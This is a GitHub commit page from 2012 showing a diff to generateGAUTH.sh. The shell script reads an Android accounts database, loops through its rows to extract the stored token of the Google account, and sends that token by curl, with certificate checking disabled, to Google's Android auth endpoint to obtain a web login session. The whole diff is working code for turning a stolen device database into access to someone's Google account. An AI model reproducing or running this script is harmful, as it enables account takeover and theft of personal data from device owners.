Permalink
Browse files

Merge pull request #11 from SyNtax-eror/master

generateGAUTH.sh 404 fix
  • Loading branch information...
2 parents 5baafbd + 37fad49 commit c56ecb6f8343655a4cc0d20b533f05a2e51f21ab @kosborn committed Oct 31, 2012
Showing with 11 additions and 2 deletions.
  1. +11 −2 generateGAUTH.sh
View
@@ -6,6 +6,7 @@
DB="$1"
+count=1
echo $DB | grep '.tar' 2>/dev/null >/dev/null
isTar=$?
@@ -17,6 +18,14 @@ else
DBPath=$1
fi
-PASS=$(sqlite3 $DBPath "select password from accounts where type='com.google' and _id=5 limit 1")
+PASS=$(sqlite3 $DBPath "select password from accounts where _id=1")
+droid=$(sqlite3 $DBPath "select type from accounts where _id=1")
- curl --data "accountType=&Email=&has_permission=1&Token=${PASS}&service=weblogin%3Acontinue%3Dhttps%253A//www.google.com/dashboard/&source=&androidId=&app=&client_sig=&device_country=&operatorCountry=&lang=&RefreshServices=" -k "https://android.clients.google.com/auth"
+while [ "$droid" != "com.google" ] && [ $count -ne 10 ]
+do
+ count=$((count+1))
+ PASS=$(sqlite3 $DBPath "select password from accounts where _id=$count")
+ droid=$(sqlite3 $DBPath "select type from accounts where _id=$count")
+done
+
+curl --data "accountType=&Email=&has_permission=1&Token=${PASS}&service=weblogin%3Acontinue%3Dhttps%253A//www.google.com/dashboard/&source=&androidId=&app=&client_sig=&device_country=&operatorCountry=&lang=&RefreshServices=" -k "https://android.clients.google.com/auth"

0 comments on commit c56ecb6

Please sign in to comment.